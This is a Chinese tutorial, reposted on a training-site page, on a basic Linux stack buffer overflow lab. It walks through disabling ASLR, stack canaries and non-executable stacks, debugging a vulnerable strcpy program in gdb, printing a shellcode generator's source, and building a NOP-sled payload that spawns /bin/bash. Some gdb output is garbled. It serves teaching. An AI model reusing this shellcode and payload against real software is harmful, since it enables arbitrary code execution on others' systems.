您可以捐助,支持我们的公益事业。

1元 10元 50元





认证码:  验证码,看不清楚?请点击刷新验证码 必填



  求知 文章 文库 Lib 视频 iPerson 课程 认证 咨询 工具 讲座 Modeler   Code  
会员   
 
   
 
 
     
   
 订阅
  捐助
Linux下基本栈溢出攻击
 
作者:elite 来源:51Testing 发布于 2015-01-06
  3037  次浏览      19
 

Linux栈溢出保护机制

基本的栈溢出攻击,是最早产生的一种缓冲区溢出攻击方法,它是所有其他缓冲区溢出攻击的基础。但是,由于这种攻击方法产生的时间比较长,故而GCC编译器、Linux操作系统提供了一些机制来阻止这种攻击方法对系统产生危害。下面首先了解一下现有的用于保护堆栈的机制以及关闭相应保护机制的方法,为进一步分析基本栈溢出提供了良好的实验环境。

1. 内存地址随机化机制

在Ubuntu和其他基于Linux内核的系统中,目前都采用内存地址随机化的机制来初始化堆栈,这将会使得猜测具体的内存地址变得十分困难。

关闭内存地址随机化机制的方法是:

sysctl –w kernel.randomize_va_space=0

2. 可执行程序的屏蔽保护机制

对于Federal系统,默认会执行可执行程序的屏蔽保护机制,该机制不允许执行存储在栈中的代码,这会使得缓冲区溢出攻击变得无效。而Ubuntu系统中默认没有采用这种机制。

关闭可执行程序的屏蔽保护机制的方法是:

sysctl –w kernel.exec-shield=0

3. gcc编译器gs验证码机制

gcc编译器专门为防止缓冲区溢出而采取的保护措施,具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码,并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存,所以如果要覆写返回地址,则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据,判断是否产生溢出。

关闭gcc编译器gs验证码机制的方法是:

在gcc编译时采用-fno-stack-protector选项。

4. ld链接器堆栈段不可执行机制

ld链接器在链接程序的时候,如果所有的.o文件的堆栈段都标记为不可执行,那么整个库的堆栈段才会被标记为不可执行;相反,即使只有一个.0文件的堆栈段被标记为可执行,那么整个库的堆栈段将被标记为可执行。检查堆栈段可执行性的方法是:

如果是检查ELF库:readelf -lW $BIN | grep GNU_STACK查看是否有E标记

如果是检查生成的.o文件:scanelf -e $BIN查看是否有X标记

ld链接器如果将堆栈段标记为不可执行,即使控制了eip产生了跳转,依然会产生段错误。

关闭ld链接器不可执行机制的方法是:

在gcc编译时采用-z execstack选项。

基本栈溢出攻击原理及实验

下面,将用一个栈溢出攻击的例子的方式,来详细的讲解基本的栈溢出攻击的详细方法步骤。

在进行试验之前,先利用上面讲解的方法,将相应的栈保护机制关闭掉。

root@linux:~/pentest# sysctl -w kernel.randomize_va_space=0
  kernel.randomize_va_space = 0
  root@linux:~/pentest# sysctl -w kernel.exec-shield=0
  error: "kernel.exec-shield" is an unknown key

代码如下:

root@linux:~/pentest# cat vulnerable.c
  #include 
  #include 
  int main(int argc, char **argv) {
  char buffer[500];
  strcpy(buffer, argv[1]);
  return 0;
  }

编译源码:

root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c

用gdb调试该程序:

root@linux:~/pentest# gdb vulnerable
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /root/pentest/vulnerable...done.
(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <+0>:   push   %ebp
0x080483c5 <+1>:   mov    %esp,%ebp
0x080483c7 <+3>:   and    {1}xfffffff0,%esp
0x080483ca <+6>:   sub    {1}x210,%esp
0x080483d0 <+12>:  mov    0xc(%ebp),%eax
0x080483d3 <+15>:  add    {1}x4,%eax
0x080483d6 <+18>:  mov    (%eax),%eax
0x080483d8 <+20>:  mov    %eax,0x4(%esp)
0x080483dc <+24>:  lea    0x1c(%esp),%eax
0x080483e0 <+28>:  mov    %eax,(%esp)
0x080483e3 <+31>:  call   0x80482f4 <strcpy@plt>
0x080483e8 <+36>:  mov    {1}x0,%eax
0x080483ed <+41>:  leave
0x080483ee <+42>:  ret
End of assembler dump.
(gdb)

此时在调用strcpy之前,main函数栈帧结构分析如下图所示:

根据此时的栈帧分布可知,要想控制eip的值,就必须往buffer[500]中至少填入508B的内容。

接下来我们继续用gdb调试:

(gdb) b *main+41
  Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.
  (gdb) r `perl -e 'print "\x41"x508'`
  Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`
  Breakpoint 1, main (argc=2, argv=0xbffff264) at vulnerable.c:11
  11  }
  (gdb) c
  Continuing.
  Program exited normally.
  (gdb)

往buffer中填入508个字符的内容,程序正常结束并退出。这说明栈并没有溢出,填入数据量太少。可是,正如上文中我们分析的那样,程序理论上栈溢出确实需要508个字符就可以了。问题出在哪里呢?重新分析代码和反汇编之后的代码,我们不难发现,问题产生的原因在于“0x080483c7 <+3>: and $0xfffffff0,%esp”这条语句。下面我们将继续用gdb调试,分析一下该语句如何影响我们的溢出的。

(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <+0>:   push   %ebp
0x080483c5 <+1>:   mov    %esp,%ebp
0x080483c7 <+3>:   and    {1}xfffffff0,%esp
0x080483ca <+6>:   sub    {1}x210,%esp
0x080483d0 <+12>:  mov    0xc(%ebp),%eax
0x080483d3 <+15>:  add    {1}x4,%eax
0x080483d6 <+18>:  mov    (%eax),%eax
0x080483d8 <+20>:  mov    %eax,0x4(%esp)
0x080483dc <+24>:  lea    0x1c(%esp),%eax
0x080483e0 <+28>: mov %eax,(%esp)
0x080483e3 <+31>: call 0x80482f4 <strcpy@plt>
0x080483e8 <+36>: mov {1}x0,%eax 0x080483ed <+41>: leave 0x080483ee <+42>: ret End of assembler dump. (gdb) b *main+3 Breakpoint 2 at 0x80483c7: file vulnerable.c, line 4. (gdb) b *main+6 Breakpoint 3 at 0x80483ca: file vulnerable.c, line 4. (gdb) r `perl -e 'print "\x41"x508'` Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'` Breakpoint 2, 0x080483c7 in main (argc=2, argv=0xbffff264) at vulnerable.c:4 4 int main(int argc, char **argv) { (gdb) i r esp esp 0xbffff1b8 0xbffff1b8 (gdb) c Continuing. Breakpoint 3, 0x080483ca in main (argc=2, argv=0xbffff264) at vulnerable.c:4 4 int main(int argc, char **argv) { (gdb) i r esp esp 0xbffff1b0 0xbffff1b0 (gdb)

通过调试可以看到,在执行“0x080483c7 <+3>: and $0xfffffff0,%esp”语句之前,esp的值是“0xbffff1b8”,在执行完该语句之后,esp的值是“0xbffff1b0”。故esp的值减少了8,也就是说,要想控制eip的值,还需要多填入8个字,即需要516个字符来填充buffer。

(gdb) r `perl -e 'print "\x41"x516'`
  Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`
  Program received signal SIGSEGV, Segmentation fault.
  0x41414141 in ?? ()
  (gdb)

可以看到溢出成功!

下面我们用gdb调试,看一些溢出的过程,具体分析就不写了,相信熟悉gdb的话对这些调试信息会一目了然的:

(gdb) b *main+41
Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.
(gdb) r `perl -e 'print "\x41"x516'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`
Breakpoint 1, main (argc=0, argv=0xbffff254) at vulnerable.c:11
11  }
(gdb) i r ebp
ebp            0xbffff1a8   0xbffff1a8
(gdb) i r esp
esp 0xbfffef90 0xbfffef90
(gdb) i r eip
eip 0x80483ed 0x80483ed <main+41>
(gdb) x/550bx $esp 0xbfffef90: 0xac 0xef 0xff 0xbf 0xf6 0xf3 0xff 0xbf 0xbfffef98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbfffefa0: 0xa4 0xf0 0xff 0xbf 0x08 0x00 0x00 0x00 0xbfffefa8: 0x3c 0xd5 0x12 0x00 0x41 0x41 0x41 0x41 0xbfffefb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffefb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffefc0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffefc8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffefd0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffefd8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ……………………………………………………………………………………………… 0xbffff198: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff1a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff1a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff1b0: 0x00 0x00 0x00 0x00 0x54 0xf2 (gdb) (gdb) stepi 0x080483ee in main (argc=0, argv=0xbffff254) at vulnerable.c:11 11 } (gdb) i r ebp ebp 0x41414141 0x41414141 (gdb) i r esp
esp 0xbffff1ac 0xbffff1ac
(gdb) i r eip
eip 0x80483ee 0x80483ee <main+42>
(gdb) x/10bx $esp 0xbffff1ac: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00 0xbffff1b4: 0x54 0xf2 (gdb) stepi 0x41414141 in ?? () (gdb) i r eip eip 0x41414141 0x41414141 (gdb)

既然我们已经找到eip返回地址的位置,那么就可以覆写返回地址,控制程序的执行流程。

接下来,首先需要一段shellcode,关于如何编写shellcode的问题,我们留到下一节讲解,这一节中我们使用一个从网上找到的shellcode生成程序来生成一段shellcode。Shellcode生成程序源码为:

[] Shellcode Generator null byte free. []
[] Author: certaindeath            []
[] Site: certaindeath.netii.net (at the moment under construction)   []
[] This program generates a shellcode which uses the stack to store the command (and its arguments).   []
[] Afterwords it executes the command with the system call "execve". []
[] The code is a bit knotty, so if you want to understand how it works,
 I've added an example of assembly at the end.   []
*/
#include 
#include 
#include 
#include 
#include 
#define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command
void print_c(__u8*,int);
void push_shc(__u8*, char*, int*);
int main(int argc, char *argv[]){
char cmd[255], *a;
FILE *c;
int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;
__u8 *shc,start[2]={0x31,0xc0}, end[16]=
{0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, 
struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};
if(argc<2){
printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
"|      Shellcode Generator      |\n"
"|        by certaindeath        |\n"
"|                               |\n"
"|  Usage: ./generator      |\n"
" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
_exit(1);
}
a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));
//find the command path
a[0]=0;
strcat(a, "whereis ");
strcat(a, argv[1]);
c=popen(a, "r");
while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));
while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));
cmd[--k]=0;
if(k==0){
printf("No executables found for the command \"%s\".\n", argv[1]);
_exit(1);
}
if(strlen(cmd)>254){
printf("The lenght of the command path can't be over 254 bye.\n");
_exit(1);
}
for(i=2;i<argc;i++)
if(strlen(argv[i])>254){
printf("The lenght of each command argument can't be over 254 byte.\n");
_exit(1);
} //work out the final shellcode lenght b=(k%2); b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2); totl+=(6+5*((k-(k%4))/4)+4*b1+7*b); for(i=2; i<argc;i++){
k=strlen(argv[i]);
b=(k%2);
b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
}
totl+=4*(argc-2);
printf("Shellcode lenght: %i\n", totl);
//build the shellcode
shc=(__u8 *)malloc((totl+1)*sizeof(__u8));
memcpy(shc, start, 2);
if(SETRUID){
memcpy(shc+shp, struid, 10);
shp+=10;
}
if(argc>2)
push_shc(shc, argv[argc-1], &shp); else push_shc(shc, cmd, &shp); memset(shc+(shp++), 0x89, 1); memset(shc+(shp++), 0xe6, 1); if(argc>2){ for(i=argc-2;i>1;i--) push_shc(shc, argv[i], &shp); push_shc(shc, cmd, &shp); } memset(shc+(shp++), 0x50, 1); memset(shc+(shp++), 0x56, 1); if(argc>2){ for(i=argc-2;i>1;i--){ memset(shc+(shp++), 0x83, 1); memset(shc+(shp++), 0xee, 1); memset(shc+(shp++), strlen(argv[i])+1, 1); memset(shc+(shp++), 0x56, 1); } memset(shc+(shp++), 0x83, 1); memset(shc+(shp++), 0xee, 1); memset(shc+(shp++), strlen(cmd)+1, 1); memset(shc+(shp++), 0x56, 1); } memcpy(shc+shp, end, 16); print_c(shc,totl); return 0; } void print_c(__u8 *s,int l){ int k; for(k=0;k<l;k++){
printf("\\x%.2x", s[k]);
if(((k+1)%8)==0) printf("\n");
}
printf("\n");
} void push_shc(__u8 *out, char *str, int *sp){ int i=strlen(str), k, b, b1, tmp=i; __u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24}; memcpy(out+(*sp), pushb_0, 6); *sp+=6; for(k=0;k((i-(i%4))/4);k++){ memset(out+((*sp)++), 0x68, 1); tmp-=4; memcpy(out+(*sp), str+tmp, 4); *sp+=4; } b=(i%2); b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2); if(b1){ memset(out+((*sp)++), 0x66, 1); memset(out+((*sp)++), 0x68, 1); tmp-=2; memcpy(out+(*sp), str+tmp, 2); *sp+=2; } if(b){ memcpy(out+(*sp), pushb, 6); *sp+=6; memcpy(out+((*sp)++), str+(--tmp), 1); } } /* Here is the assembly code of a shellcode which executes the command "ls -l /dev". This is the method used by the shellcode generator. .global _start _start: xorl %eax, %eax ;clear eax subl $1, %esp ; "/dev" pushed into the stack with a null byte at the end movb %al, (%esp) push {1}x7665642f movl %esp, %esi ;esp(address of "/dev") is saved in esi subl $1, %esp ;"-l" pushed into the stack with a null byte at the end movb %al, (%esp) pushw {1}x6c2d subl $1, %esp ;"/bin/ls" pushed into the stack with a null byte at the end movb %al, (%esp) push {1}x736c2f6e pushw {1}x6962 subl $1, %esp movb {1}x2f, (%esp) ;now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stack push %eax ;the NULL pointer pushed into the stack push %esi ;the address of "/dev" pushed into the stack subl $3, %esi ;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev" push %esi ;to find the address of "-l" and then push it into the stack subl $8, %esi ;the same thing is done with the address of "/bin/ls" push %esi movb $11, %al ;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0) movl %esi, %ebx ;is executed movl %esp, %ecx xor %edx, %edx int {1}x80 movb $1, %al ;_exit(0); xor %ebx, %ebx int {1}x80 */

使用方法是:

root@linux:~/pentest# gcc -o shellcode_generator shellcode_generator.c
root@linux:~/pentest# ./shellcode_generator /bin/bash
Shellcode lenght: 45
\x31\xc0\x83\xec\x01\x88\x04\x24
\x68\x62\x61\x73\x68\x68\x62\x69
\x6e\x2f\x83\xec\x01\xc6\x04\x24
\x2f\x89\xe6\x50\x56\xb0\x0b\x89
\xf3\x89\xe1\x31\xd2\xcd\x80\xb0
\x01\x31\xdb\xcd\x80
root@linux:~/pentest#

现在,提供一种填充buffer覆写返回地址的方案(不唯一,只提供一种可行的方案):

“\x90” * 431  +  shellcode(45) +  shellcode地址(4字节) * 10  ==  516B

其中,“\x90”代表NOP空指令,故shellcode地址可以替换为自buffer起始地址和shellcode起始地址之间的任意一个地址。
  到目前为止,我们已经构造出了我们的溢出代码,如下:

(gdb) run `perl -e 'print
"\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec
\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31
\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'`
The program being debugged has beenstarted already.
Start it from the beginning? (y or n)y
Starting program:/root/pentest/vulnerable `perl -e 'print
"\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6
\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80",
"\xac\xef\xff\xbf"x10'`
process3724 is executing new program: /bin/bash
root@linux:/root/pentest# exit
exit
Program exited normally.
(gdb)

可以看到,我们的溢出代码成功的执行了shellcode,并获得了相应的shell。

到此为止,栈溢出攻击成功。

附:由于%gs验证码的存在,在开启%gs校验时,上面的方案只能在gdb调试环境下成功完成栈溢出。

   
3037 次浏览       19
相关文章 相关文档 相关课程



深度解析:清理烂代码
如何编写出拥抱变化的代码
重构-使代码更简洁优美
团队项目开发"编码规范"系列文章
重构-改善既有代码的设计
软件重构v2
代码整洁之道
高质量编程规范
基于HTML5客户端、Web端的应用开发
HTML 5+CSS 开发
嵌入式C高质量编程
C++高级编程
最新活动计划
LLM大模型应用与项目构建 12-26[特惠]
QT应用开发 11-21[线上]
C++高级编程 11-27[北京]
业务建模&领域驱动设计 11-15[北京]
用户研究与用户建模 11-21[北京]
SysML和EA进行系统设计建模 11-28[北京]

基于模型的整车电子电气架构设计
嵌入式设备上的 Linux 系统开发
Linux 的并发可管理工作队列
ARM嵌入式系统的问题总结分析
嵌入式系统设计与实例开发
WinCE6.0的EBOOT概要
更多...   


UML +RoseRealtime+嵌入式
C++嵌入式系统开发
嵌入式白盒测试
手机软件测试
嵌入式软件测试
嵌入式操作系统VxWorks


中国航空 嵌入式C高质量编程
使用EA和UML进行嵌入式系统分析设计
基于SysML和EA的嵌入式系统建模
上海汽车 嵌入式软件架构设计
北京 嵌入式C高质量编程
北京 高质高效嵌入式开发
Nagra linux内核与设备驱动原理
更多...